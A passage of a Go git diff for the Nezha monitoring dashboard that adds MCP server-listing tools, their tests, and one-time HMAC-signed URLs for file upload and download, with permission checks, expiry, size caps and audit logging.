current API token. Returns minimal metadata; call server.get for full details.", + InputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "online_only": map[string]any{ + "type": "boolean", + "description": "If true, only return servers that have reported within the last 30s.", + }, + }, + }, + OutputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "servers": map[string]any{ + "type": "array", + "items": serverListItemSchema(), + }, + "count": map[string]any{"type": "integer"}, + }, + "required": []string{"servers", "count"}, + }, + RequiredScope: model.ScopeInventoryRead, + Handler: handleServerList, + }) + + registerMCPTool(&mcpTool{ + Name: "server.get", + Description: "Return full Host/State snapshot for a single server.", + InputSchema: serverGetSchema(), + OutputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "id": map[string]any{"type": "integer"}, + "name": map[string]any{"type": "string"}, + "uuid": map[string]any{"type": "string"}, + "note": map[string]any{"type": "string"}, + "public_note": map[string]any{"type": "string"}, + "host": map[string]any{"type": "object"}, + "state": map[string]any{"type": "object"}, + "geoip": map[string]any{"type": "object"}, + "last_active": map[string]any{"type": "string", "format": "date-time"}, + }, + "required": []string{"id"}, + }, + RequiredScope: model.ScopeServerRead, + Handler: handleServerGet, + }) +} + +func handleServerList(c *gin.Context, raw json.RawMessage) (any, error) { + var args serverListArgs + if err := decodeToolArgs(raw, &args); err != nil { + return nil, err + } + tok := APITokenFromContext(c) + if tok == nil { + return nil, errNoToken + } + + slist := singleton.ServerShared.GetSortedList() + now := time.Now() + const onlineWindow = 30 * time.Second + + out := make([]serverListItem, 0, len(slist)) + for _, s := range slist { + if s == nil { + continue + } + // 闸 1：复用现有用户权限过滤 + if !s.HasPermission(c) { + continue + } + // 闸 2：PAT 的 server 白名单（若已设置） + if !tok.CanAccessServer(s.ID) { + continue + } + runtime := s.RuntimeSnapshot() + online := !runtime.LastActive.IsZero() && now.Sub(runtime.LastActive) < onlineWindow + if args.OnlineOnly && !online { + continue + } + item := serverListItem{ + ID: s.ID, + Name: s.Name, + UUID: s.UUID, + Online: online, + LastActive: runtime.LastActive, + } + if runtime.Host != nil { + item.Platform = runtime.Host.Platform + item.Arch = runtime.Host.Arch + } + if s.GeoIP != nil { + item.IPv4 = s.GeoIP.IP.IPv4Addr + item.IPv6 = s.GeoIP.IP.IPv6Addr + } + out = append(out, item) + } + return serverListResult{Servers: out, Count: len(out)}, nil +} + +// server.get +type serverGetArgs struct { + ServerID uint64 `json:"server_id"` +} + +func serverGetSchema() map[string]any { + return map[string]any{ + "type": "object", + "properties": map[string]any{ + "server_id": map[string]any{ + "type": "integer", + "description": "Target server ID.", + }, + }, + "required": []string{"server_id"}, + } +} + +func handleServerGet(c *gin.Context, raw json.RawMessage) (any, error) { + var args serverGetArgs + if err := decodeToolArgs(raw, &args); err != nil { + return nil, err + } + s, err := requireServerAccess(c, args.ServerID) + if err != nil { + return nil, err + } + runtime := s.RuntimeSnapshot() + return map[string]any{ + "id": s.ID, + "name": s.Name, + "uuid": s.UUID, + "note": s.Note, + "public_note": s.PublicNote, + "host": runtime.Host, + "state": runtime.State, + "geoip": s.GeoIP, + "last_active": runtime.LastActive, + }, nil +} diff --git a/cmd/dashboard/controller/mcp_tools_server_test.go b/cmd/dashboard/controller/mcp_tools_server_test.go new file mode 100644 index 00000000..88869b50 --- /dev/null +++ b/cmd/dashboard/controller/mcp_tools_server_test.go @@ -0,0 +1,122 @@ +package controller + +import ( + "encoding/json" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestServerList_FiltersByPermission(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + srv2 := &model.Server{} + srv2.ID = 8 + srv2.Name = "beta" + srv2.SetUserID(999) + singleton.ServerShared.InsertForTest(srv2) + + tok, _ := mkToken(t, uid, []string{model.ScopeInventoryRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "server.list", Arguments: json.RawMessage("{}")}), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.False(t, tcr.IsError) + + rows := decodeServerListRows(t, tcr.StructuredContent) + require.Len(t, rows, 1, "must filter out non-owned server") + require.EqualValues(t, 7, rows[0]["id"]) +} + +// decodeServerListRows unwraps the {servers,count} object that server.list now +// returns (MCP requires structuredContent to be an object, not a bare array) +// and asserts count stays in sync with the servers slice length. +func decodeServerListRows(t *testing.T, structured any) []map[string]any { + t.Helper() + rb, _ := json.Marshal(structured) + var res struct { + Servers []map[string]any `json:"servers"` + Count int `json:"count"` + } + require.NoError(t, json.Unmarshal(rb, &res)) + require.Equal(t, len(res.Servers), res.Count, "count must match servers length") + return res.Servers +} + +func TestServerList_ServerWhitelistFurtherFiltering(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + srv2 := &model.Server{} + srv2.ID = 8 + srv2.Name = "beta" + srv2.SetUserID(uid) + singleton.ServerShared.InsertForTest(srv2) + + tok, _ := mkToken(t, uid, []string{model.ScopeInventoryRead}, []uint64{8}) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "server.list", Arguments: json.RawMessage("{}")}), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.False(t, tcr.IsError) + rows := decodeServerListRows(t, tcr.StructuredContent) + require.Len(t, rows, 1) + require.EqualValues(t, 8, rows[0]["id"]) +} + +func TestServerList_OnlineOnlyFilter(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + srv, _ := singleton.ServerShared.Get(7) + require.NotNil(t, srv) + srv.LastActive = time.Now() + + tok, _ := mkToken(t, uid, []string{model.ScopeInventoryRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "server.list", Arguments: jsonRaw(map[string]any{"online_only": true})}), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.False(t, tcr.IsError) + rows := decodeServerListRows(t, tcr.StructuredContent) + require.Len(t, rows, 1) +} + +func TestServerGet_RequiresServerID(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "server.get", Arguments: json.RawMessage("{}")}), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "server_id required") +} + +func TestServerExec_ScopeMissing(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "server.exec", Arguments: jsonRaw(map[string]any{"server_id": 7, "cmd": "echo"})}), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "nezha:server:exec") +} diff --git a/cmd/dashboard/controller/mcp_transfer.go b/cmd/dashboard/controller/mcp_transfer.go new file mode 100644 index 00000000..6f204811 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer.go @@ -0,0 +1,974 @@ +package controller + +import ( + "bytes" + "context" + "crypto/hmac" + "crypto/sha256" + "encoding/binary" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io" + "math" + "net/http" + "strconv" + "strings" + "sync" + "time" + + "github.com/gin-gonic/gin" + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/utils" + "github.com/nezhahq/nezha/service/singleton" +) + +// fs.download_url / fs.upload_url 旁路通道。 +// +// 设计目标：给 LLM 客户端一个不经 MCP 上下文的 URL，去用普通 HTTP 客户端 +// 上传/下载大文件（单文件 hard cap 100MiB，model.MCPFsTransferMaxSize）。 +// +// 传输实现：dashboard ↔ agent 走 gRPC IOStream 双向流（TaskTypeFsTransfer）， +// dashboard 一边读 HTTP body 一边推给 agent；不再使用 base64/JSON 包装内容， +// 避免 gRPC 4MiB 单消息上限。 +// +// 安全机制： +// - 一次性 token，存内存 sync.Map，TTL 默认 300s，最多 600s +// - token 绑定 user_id + token_id + server_id + path + direction +// - consume 时重算并以常数时间比对 entry 的 HMAC-SHA256，防篡改 +// - 命中后立即从内存删除，禁止重放 +// - revalidateTransferEntry 在 consume 时重新校验 PAT/scope/owner，应对 +// mint→consume 之间的权限变化 +// - 上传可选 ?sha256= 端到端校验；下载 NZTO 帧附 agent 计算的 sha +type transferDirection string + +const ( + transferDirDownload transferDirection = "download" + transferDirUpload transferDirection = "upload" + + transferTokenTTLDefault = 300 * time.Second + transferTokenTTLMax = 600 * time.Second + + // maxTransferDuration bounds a single upload/download once the agent has + // attached. 100MiB over a slow link still completes well within this; + // anything longer is treated as a stalled/abusive transfer and cancelled. + maxTransferDuration = 10 * time.Minute + + maxTransferPathLen = 4096 +) + +func validateTransferPath(path string) error { + if path == "" { + return errMCPInvalidArgs("path required") + } + if len(path) > maxTransferPathLen { + return errMCPInvalidArgs("path too long") + } + return nil +} + +type transferEntry struct { + UserID uint64 + TokenID uint64 + ServerID uint64 + Path string + Direction transferDirection + ExpiresAt time.Time + + // Upload-only optional knobs carried from MCP fs.upload_url tool args + // to transferUploadHandler so the upload handler can forward them into + // FsTransferRequest. Empty/false values keep current behaviour for the + // download direction (these fields are simply ignored). + UploadMode string + UploadCreateDirs bool + UploadIfMatchSHA256 string +} + +var ( + transferEntries sync.Map + transferSecretMu sync.Mutex + transferSecretVal string +) + +// transferHMACSecret 返回进程内随机生成的 HMAC key。 +// 这是有意设计：transferEntries 本身也只活在内存 sync.Map 里，dashboard +// 重启等价于全部 token 失效；让 secret 也随进程随机，可以避免“secret 来自 +// 持久化 env 但 entries 已丢”这种半持久化状态，同时保证多副本部署不会 +// 意外互认对方签发的 token（每副本一份独立 secret）。 +func transferHMACSecret() string { + transferSecretMu.Lock() + defer transferSecretMu.Unlock() + if transferSecretVal != "" { + return transferSecretVal + } + transferSecretVal = utils.MustGenerateRandomString(64) + return transferSecretVal +} + +// transferTokenSig 计算 entry 的 HMAC-SHA256 签名（hex）；mint 与 consume 共用。 +func transferTokenSig(e transferEntry) string { + mac := hmac.New(sha256.New, []byte(transferHMACSecret())) + fmt.Fprintf(mac, "%s|%d|%d|%d|%s|%d", + e.Direction, e.UserID, e.TokenID, e.ServerID, e.Path, e.ExpiresAt.UnixNano()) + return hex.EncodeToString(mac.Sum(nil)) +} + +func mintTransferToken(e transferEntry) (string, error) { + id, err := utils.GenerateRandomString(24) + if err != nil { + return "", err + } + tok := id + "." + transferTokenSig(e) + transferEntries.Store(tok, e) + return tok, nil +} + +func consumeTransferToken(tok string, dir transferDirection) (*transferEntry, error) { + raw, ok := transferEntries.LoadAndDelete(tok) + if !ok { + return nil, errors.New("invalid or already-used transfer token") + } + e, _ := raw.(transferEntry) + // 校验 HMAC：token 形如 id.sig，sig 必须等于 entry 字段在进程 secret 下的 + // HMAC-SHA256。仅靠 sync.Map key 随机性不构成完整性保护——一旦 entry 被 + // 持久化/跨副本共享/从 token 解码，缺这一步即认证绕过。常数时间比较防侧信道。 + idx := strings.LastIndex(tok, ".") + if idx < 0 { + return nil, errors.New("malformed transfer token") + } + if !hmac.Equal([]byte(tok[idx+1:]), []byte(transferTokenSig(e))) { + return nil, errors.New("transfer token signature mismatch") + } + if e.Direction != dir { + return nil, errors.New("transfer token direction mismatch") + } + if time.Now().After(e.ExpiresAt) { + return nil, errors.New("transfer token expired") + } + return &e, nil +} + +// PurgeTransferEntries drops every minted-but-unconsumed transfer URL. +// EnableMCP=false invokes this so an admin pressing the kill switch +// invalidates the 5–10min trailing window of pre-signed download/upload +// URLs that consumeTransferToken would otherwise still honor. Returns the +// number of entries purged for audit. +func PurgeTransferEntries() int { + purged := 0 + transferEntries.Range(func(key, _ any) bool { + if _, ok := transferEntries.LoadAndDelete(key); ok { + purged++ + } + return true + }) + return purged +} + +// gcExpiredTransferEntries 按 ExpiresAt 删除所有已过期但从未被 consume +// 的 token。kickoffTransferGC 周期调度它，防止 transferEntries 在没人 +// 触发 kill switch 的情况下随时间无界增长。 +func gcExpiredTransferEntries(now time.Time) int { + removed := 0 + transferEntries.Range(func(key, raw any) bool { + e, ok := raw.(transferEntry) + if !ok { + transferEntries.Delete(key) + removed++ + return true + } + if now.After(e.ExpiresAt) { + if _, deleted := transferEntries.LoadAndDelete(key); deleted { + removed++ + } + } + return true + }) + return removed +} + +var transferGCStartOnce sync.Once + +// kickoffTransferGC 启动一个进程级 goroutine 定时回收过期 token， +// 避免每个 dashboard 启动都得 PurgeTransferEntries 才能把表清空。 +// 时间间隔取 transferTokenTTLDefault / 5，对默认 5min TTL 即 1min； +// 既能在 TTL 内多次扫到过期项，也不会让锁竞争变成热点。 +func kickoffTransferGC() { + transferGCStartOnce.Do(func() { + go func() { + ticker := time.NewTicker(transferTokenTTLDefault / 5) + defer ticker.Stop() + for range ticker.C { + gcExpiredTransferEntries(time.Now()) + } + }() + }) +} + +// --- tool: fs.download_url --- + +type fsDownloadURLArgs struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + TTLSeconds int `json:"ttl_seconds,omitempty"` +} + +// fsUploadURLArgs is the upload-side superset of fsDownloadURLArgs. agent's +// FsTransferRequest already supports per-upload Mode / CreateDirs / +// IfMatchSHA256, but fs.upload_url historically reused fsDownloadURLArgs and +// silently dropped these fields. Splitting the arg shape lets the MCP tool +// schema advertise them and mintTransferTool plumb them through to +// transferUploadHandler -> openFsTransferStream. +type fsUploadURLArgs struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + TTLSeconds int `json:"ttl_seconds,omitempty"` + Mode string `json:"mode,omitempty"` + CreateDirs bool `json:"create_dirs,omitempty"` + IfMatchSHA256 string `json:"if_match_sha256,omitempty"` +} + +func init() { + registerMCPTool(&mcpTool{ + Name: "fs.download_url", + Description: "Mint a one-time signed URL to stream a file (<=100MiB) via plain HTTP GET. Bypasses MCP context and uses gRPC IOStream end-to-end.", + InputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "server_id": map[string]any{"type": "integer"}, + "path": map[string]any{"type": "string"}, + "ttl_seconds": map[string]any{"type": "integer", "minimum": 30, "maximum": 600}, + }, + "required": []string{"server_id", "path"}, + }, + OutputSchema: transferURLOutputSchema(), + RequiredScope: model.ScopeServerRead, + Handler: handleFsDownloadURL, + }) + + registerMCPTool(&mcpTool{ + Name: "fs.upload_url", + Description: "Mint a one-time signed URL to stream a file (<=100MiB) via plain HTTP POST. Caller MUST send Content-Length; optional ?sha256= for end-to-end integrity. mode / create_dirs / if_match_sha256 are forwarded to the agent for atomic chmod / mkdir -p / optimistic concurrency.", + InputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "server_id": map[string]any{"type": "integer"}, + "path": map[string]any{"type": "string"}, + "ttl_seconds": map[string]any{"type": "integer", "minimum": 30, "maximum": 600}, + "mode": map[string]any{"type": "string", "description": "Octal mode like '0644'."}, + "create_dirs": map[string]any{"type": "boolean"}, + "if_match_sha256": map[string]any{"type": "string", "description": "64 hex chars; precondition checked by the agent before overwrite."}, + }, + "required": []string{"server_id", "path"}, + }, + OutputSchema: transferURLOutputSchema(), + RequiredScope: model.ScopeServerWrite, + Handler: handleFsUploadURL, + }) +} + +func transferURLOutputSchema() map[string]any { + return map[string]any{ + "type": "object", + "properties": map[string]any{ + "url": map[string]any{"type": "string"}, + "method": map[string]any{"type": "string"}, + "expires_at": map[string]any{"type": "string", "format": "date-time"}, + }, + "required": []string{"url", "method", "expires_at"}, + } +} + +func handleFsDownloadURL(c *gin.Context, raw json.RawMessage) (any, error) { + var args fsDownloadURLArgs + if err := decodeToolArgs(raw, &args); err != nil { + return nil, err + } + return mintTransferTool(c, args.ServerID, args.Path, args.TTLSeconds, transferDirDownload, transferEntry{}) +} + +func handleFsUploadURL(c *gin.Context, raw json.RawMessage) (any, error) { + var args fsUploadURLArgs + if err := decodeToolArgs(raw, &args); err != nil { + return nil, err + } + if args.IfMatchSHA256 != "" { + if _, decErr := hex.DecodeString(args.IfMatchSHA256); decErr != nil || len(args.IfMatchSHA256) != 64 { + return nil, errMCPInvalidArgs("if_match_sha256 must be 64 hex chars") + } + } + return mintTransferTool(c, args.ServerID, args.Path, args.TTLSeconds, transferDirUpload, transferEntry{ + UploadMode: args.Mode, + UploadCreateDirs: args.CreateDirs, + UploadIfMatchSHA256: args.IfMatchSHA256, + }) +} + +func mintTransferTool(c *gin.Context, serverID uint64, path string, ttlSeconds int, dir transferDirection, uploadExtras transferEntry) (any, error) { + srv, err := requireServerAccess(c, serverID) + if err != nil { + return nil, err + } + if err := requireAgentSupportsMCP(srv); err != nil { + return nil, err + } + if err := validateTransferPath(path); err != nil { + return nil, err + } + ttl := time.Duration(ttlSeconds) * time.Second + if ttl <= 0 { + ttl = transferTokenTTLDefault + } + if ttl > transferTokenTTLMax { + ttl = transferTokenTTLMax + } + + tok := APITokenFromContext(c) + if tok == nil { + return nil, errNoToken + } + uid := uint64(0) + if u, ok := c.Get(model.CtxKeyAuthorizedUser); ok { + if user, ok := u.(*model.User); ok && user != nil { + uid = user.ID + } + } + entry := transferEntry{ + UserID: uid, + TokenID: tok.ID, + ServerID: serverID, + Path: path, + Direction: dir, + ExpiresAt: time.Now().Add(ttl), + UploadMode: uploadExtras.UploadMode, + UploadCreateDirs: uploadExtras.UploadCreateDirs, + UploadIfMatchSHA256: uploadExtras.UploadIfMatchSHA256, + } + t, err := mintTransferToken(entry) + if err != nil { + return nil, err + } + scheme := "https" + if c.Request.TLS == nil && c.Request.Header.Get("X-Forwarded-Proto") != "https" { + scheme = "http" + } + host := c.Request.Host + url := fmt.Sprintf("%s://%s/mcp/%s/%s", scheme, host, dir, t) + return map[string]any{ + "url": url, + "method": map[transferDirection]string{transferDirDownload: "GET", transferDirUpload: "POST"}[dir], + "expires_at": entry.ExpiresAt, + }, nil +} + +// --- HTTP handlers --- + +// transferDownloadHandler 处理 GET /mcp/download/:token。 +// 走 IOStream 双向流：dashboard 把 agent 推过来的 chunk 转发给 HTTP 客户端， +// 单文件 hard cap 100MiB（model.MCPFsTransferMaxSize）。 +// transferRevokableContext 把进行中的传输纳入 PAT 撤销注册表。返回的 ctx 在 +// 该 PAT 被 deleteAPIToken 撤销时取消，从而切断已开始的 upload/download； +// 否则只在传输自然结束时由 stop() 注销。stop() 必须 defer 调用。 +func transferRevokableContext(c *gin.Context, e *transferEntry) (context.Context, func()) { + // Cap the whole transfer with a hard deadline. After the agent attaches, + // the relay blocks in IOStreamWrapper.Read, which only honours this ctx + // (openFsTransferStream closes the stream on ctx.Done). Without the + // deadline a stalled or malicious agent that attaches but never sends a + // complete header/chunk/final frame pins this goroutine, the IOStream and + // the spool tmpfile until the client disconnects, allowing concurrent + // hung transfers to exhaust resources within the rate limit. + ctx, cancel := context.WithTimeout(c.Request.Context(), maxTransferDuration) + dereg := patConnectionRegistryShared.register(e.TokenID, cancel) + return ctx, func() { + dereg() + cancel() + } +} + +func transferDownloadHandler(c *gin.Context) { + tok := c.Param("token") + entry, err := consumeTransferToken(tok, transferDirDownload) + if err != nil { + writeTransferFailureAudit(c, nil, "fs.download", classifyTransferConsumeError(err), err) + c.String(http.StatusUnauthorized, err.Error()) + return + } + if err := revalidateTransferEntry(entry); err != nil { + writeTransferFailureAudit(c, entry, "fs.download", classifyTransferRevalidateError(err), err) + c.String(http.StatusUnauthorized, err.Error()) + return + } + + ctx, stop := transferRevokableContext(c, entry) + defer stop() + + stream, cleanup, err := openFsTransferStream(ctx, entry.ServerID, &model.FsTransferRequest{ + Op: model.MCPFsTransferOpDownload, + Path: entry.Path, + }) + if err != nil { + writeTransferFailureAudit(c, entry, "fs.download", classifyTransferOpenStreamError(err), err) + c.String(http.StatusBadGateway, err.Error()) + return + } + defer cleanup() + + hdr, err := readXferFixedHeader(stream) + if err != nil { + writeTransferFailureAudit(c, entry, "fs.download", model.MCPOutcomeAgentTimeout, err) + c.String(http.StatusBadGateway, "agent did not return download header: "+err.Error()) + return + } + if hdr.IsErr() { + writeTransferFailureAudit(c, entry, "fs.download", model.MCPOutcomeAgentError, errors.New(hdr.ErrMsg)) + c.String(http.StatusBadGateway, hdr.ErrMsg) + return + } + if !bytes.Equal(hdr.Magic, model.MCPFsXferMagicDownloadHdr) { + writeTransferFailureAudit(c, entry, "fs.download", model.MCPOutcomeAgentError, errors.New("unexpected header magic")) + c.String(http.StatusBadGateway, "agent returned unexpected header magic") + return + } + if hdr.Size > model.MCPFsTransferMaxSize { + writeTransferFailureAudit(c, entry, "fs.download", model.MCPOutcomeAgentError, errors.New("file exceeds MCP transfer cap")) + c.String(http.StatusBadGateway, "file exceeds MCP transfer cap (100MiB)") + return + } + + if err := relayDownloadFrames(c, stream, hdr.Size); err != nil { + writeTransferFailureAudit(c, entry, "fs.download", model.MCPOutcomeAgentError, err) + return + } + + _ = singleton.DB.Create(&model.MCPAuditLog{ + UserID: entry.UserID, + TokenID: entry.TokenID, + Tool: "fs.download", + ServerID: entry.ServerID, + Outcome: model.MCPOutcomeOK, + IP: c.GetString(model.CtxKeyRealIPStr), + }).Error +} + +// transferUploadHandler 处理 POST /mcp/upload/:token；body 转发到 agent， +// 单文件 hard cap 100MiB。 +func transferUploadHandler(c *gin.Context) { + tok := c.Param("token") + entry, err := consumeTransferToken(tok, transferDirUpload) + if err != nil { + writeTransferFailureAudit(c, nil, "fs.upload", classifyTransferConsumeError(err), err) + c.String(http.StatusUnauthorized, err.Error()) + return + } + if err := revalidateTransferEntry(entry); err != nil { + writeTransferFailureAudit(c, entry, "fs.upload", classifyTransferRevalidateError(err), err) + c.String(http.StatusUnauthorized, err.Error()) + return + } + + // 1) 体积闸门：Content-Length 必须存在并且不超过 cap。流式上传时这是 + // 唯一能在打开 IOStream 之前就拒掉超大请求的依据，避免 agent 端 + // 拒绝时已经占了一个连接。 + if c.Request.ContentLength < 0 { + writeTransferFailureAudit(c, entry, "fs.upload", model.MCPOutcomeInvalidArgs, errors.New("Content-Length required")) + c.String(http.StatusLengthRequired, "Content-Length required") + return + } + if c.Request.ContentLength > model.MCPFsTransferMaxSize { + writeTransferFailureAudit(c, entry, "fs.upload", model.MCPOutcomeInvalidArgs, errors.New("body exceeds MCP transfer cap")) + c.String(http.StatusRequestEntityTooLarge, "body exceeds MCP transfer cap (100MiB)") + return + } + size := c.Request.ContentLength + + // 可选的端到端 sha256：通过 query 参数 sha256= 传入，agent 收到全部 + // 字节后会比对；不传则只回带 sha 但不强校验。 + expected := strings.ToLower(strings.TrimSpace(c.Query("sha256"))) + if expected != "" { + if _, decErr := hex.DecodeString(expected); decErr != nil || len(expected) != 64 { + writeTransferFailureAudit(c, entry, "fs.upload", model.MCPOutcomeInvalidArgs, errors.New("sha256 must be 64 hex chars")) + c.String(http.StatusBadRequest, "sha256 must be 64 hex chars") + return + } + } + + // 上限再加一个字节做 MaxBytesReader 屏障：若客户端撒谎、实际 body 超过 + // Content-Length，HTTP 层会立即截断并报 413。 + c.Request.Body = http.MaxBytesReader(c.Writer, c.Request.Body, model.MCPFsTransferMaxSize+1) + + ctx, stop := transferRevokableContext(c, entry) + defer stop() + + stream, cleanup, err := openFsTransferStream(ctx, entry.ServerID, &model.FsTransferRequest{ + Op: model.MCPFsTransferOpUpload, + Path: entry.Path, + Size: size, + ExpectedSHA256: expected, + Mode: entry.UploadMode, + CreateDirs: entry.UploadCreateDirs, + IfMatchSHA256: entry.UploadIfMatchSHA256, + }) + if err != nil { + writeTransferFailureAudit(c, entry, "fs.upload", classifyTransferOpenStreamError(err), err) + c.String(http.StatusBadGateway, err.Error()) + return + } + defer cleanup() + + hdr, err := readXferFixedHeader(stream) + if err != nil { + writeTransferFailureAudit(c, entry, "fs.upload", model.MCPOutcomeAgentTimeout, err) + c.String(http.StatusBadGateway, "agent did not return upload ready frame: "+err.Error()) + return + } + if hdr.IsErr() { + writeTransferFailureAudit(c, entry, "fs.upload", model.MCPOutcomeAgentError, errors.New(hdr.ErrMsg)) + c.String(http.StatusBadGateway, hdr.ErrMsg) + return + } + if !bytes.Equal(hdr.Magic, model.MCPFsXferMagicUploadHdr) { + writeTransferFailureAudit(c, entry, "fs.upload", model.MCPOutcomeAgentError, errors.New("unexpected header magic")) + c.String(http.StatusBadGateway, "agent returned unexpected header magic") + return + } + if hdr.Size != size { + writeTransferFailureAudit(c, entry, "fs.upload", model.MCPOutcomeAgentError, errors.New("agent acknowledged unexpected size")) + c.String(http.StatusBadGateway, "agent acknowledged unexpected size") + return + } + + if _, copyErr := io.CopyN(stream, c.Request.Body, size); copyErr != nil { + writeTransferFailureAudit(c, entry, "fs.upload", model.MCPOutcomeAgentError, copyErr) + c.String(http.StatusBadGateway, "stream relay failed: "+copyErr.Error()) + return + } + + final, err := readXferFixedHeader(stream) + if err != nil { + writeTransferFailureAudit(c, entry, "fs.upload", model.MCPOutcomeAgentTimeout, err) + c.String(http.StatusBadGateway, "agent did not acknowledge upload: "+err.Error()) + return + } + if final.IsErr() { + writeTransferFailureAudit(c, entry, "fs.upload", model.MCPOutcomeAgentError, errors.New(final.ErrMsg)) + c.String(http.StatusBadGateway, final.ErrMsg) + return + } + if !bytes.Equal(final.Magic, model.MCPFsXferMagicOK) { + writeTransferFailureAudit(c, entry, "fs.upload", model.MCPOutcomeAgentError, errors.New("unexpected final magic")) + c.String(http.StatusBadGateway, "agent returned unexpected final magic") + return + } + + c.JSON(http.StatusOK, model.FsWriteResult{Size: int64(final.Size), SHA256: hex.EncodeToString(final.SHA256)}) + _ = singleton.DB.Create(&model.MCPAuditLog{ + UserID: entry.UserID, + TokenID: entry.TokenID, + Tool: "fs.upload", + ServerID: entry.ServerID, + Outcome: model.MCPOutcomeOK, + IP: c.GetString(model.CtxKeyRealIPStr), + }).Error +} + +// writeTransferFailureAudit 是 fs.upload / fs.download HTTP handler 失败路径 +// 共用的审计写入。outcome 必须用 model.MCPOutcome* 常量；entry 可以是 nil +// （token consume 阶段就失败时拿不到 entry，UserID/TokenID/ServerID 写 0）。 +// +// Anonymous failures (entry == nil) go through transferAnonAuditThrottleShared +// per-IP sampler so an unauthenticated attacker cannot flood mcp_audit_log +// by POSTing /mcp/upload/. Authenticated failures bypass the +// throttle so SIEM signal stays intact. +func writeTransferFailureAudit(c *gin.Context, entry *transferEntry, tool, outcome string, err error) { + ip := c.GetString(model.CtxKeyRealIPStr) + if entry == nil && !transferAnonAuditThrottleShared.shouldRecord(ip) { + return + } + entryLog := model.MCPAuditLog{ + Tool: tool, + Outcome: outcome, + IP: ip, + } + if entry != nil { + entryLog.UserID = entry.UserID + entryLog.TokenID = entry.TokenID + entryLog.ServerID = entry.ServerID + } + if err != nil { + msg := err.Error() + if len(msg) > 512 { + msg = msg[:512] + } + entryLog.ErrorMsg = msg + entryLog.ErrorCode = outcome + } + mcpAuditWrite(entryLog, nil) +} + +// classifyTransferConsumeError 把 consumeTransferToken 的错误映射成 outcome。 +// 让 SIEM 能区分“伪造/过期 token”与“direction 不匹配”等场景。 +func classifyTransferConsumeError(err error) string { + if err == nil { + return model.MCPOutcomeInternalError + } + msg := err.Error() + switch { + case strings.Contains(msg, "expired"): + return model.MCPOutcomeScopeDenied + case strings.Contains(msg, "direction mismatch"): + return model.MCPOutcomeInvalidArgs + default: + return model.MCPOutcomePermDenied + } +} + +// classifyTransferRevalidateError 把 revalidateTransferEntry 的错误映射成 +// outcome。最重要的一项是“MCP is disabled” → MCPOutcomeMCPDisabled，让 +// 运营在 audit 表里直接看出 kill switch 命中情况，而不是只看到 perm_denied。 +func classifyTransferRevalidateError(err error) string { + if err == nil { + return model.MCPOutcomeInternalError + } + msg := err.Error() + switch { + case strings.Contains(msg, "MCP is disabled"): + return model.MCPOutcomeMCPDisabled + case strings.Contains(msg, "no longer has required scope"): + return model.MCPOutcomeScopeDenied + case strings.Contains(msg, "no longer covers"): + return model.MCPOutcomeScopeDenied + case strings.Contains(msg, "expired"): + return model.MCPOutcomeScopeDenied + default: + return model.MCPOutcomePermDenied + } +} + +// classifyTransferOpenStreamError 把 openFsTransferStream 的失败映射成 +// outcome：offline / 30s attach 超时分别对应 ServerOffline / AgentTimeout。 +func classifyTransferOpenStreamError(err error) string { + if err == nil { + return model.MCPOutcomeInternalError + } + msg := err.Error() + switch { + case strings.Contains(msg, "server offline"): + return model.MCPOutcomeServerOffline + case strings.Contains(msg, "did not attach"): + return model.MCPOutcomeAgentTimeout + default: + return model.MCPOutcomeAgentError + } +} + +// frameReceiver is the frame-preserving subset of grpcx.IOStreamWrapper that +// the download relay needs. We accept the interface (not the concrete type) +// so test simulators can plug in a net.Pipe-backed stream without depending +// on the gRPC stack. +type frameReceiver interface { + RecvFrame() ([]byte, error) +} + +// relayDownloadFrames forwards declared-size payload from agent to HTTP +// client. The agent wraps every data chunk in an NZTC frame (4-byte magic + +// 8-byte big-endian length + payload) so payload that happens to begin with +// the same bytes as a control frame (NZTE / NZTO) cannot be misclassified. +// Control frames (NZTE error, NZTO success) sit on the same IOStream and +// are recognized by their magic; legitimate payload always arrives inside +// NZTC frames and is never matched against the control-frame magics. +// +// Payload is spooled to a per-request tmpfile rather than kept in a 100MiB +// memory buffer: a midstream NZTE must be able to switch the 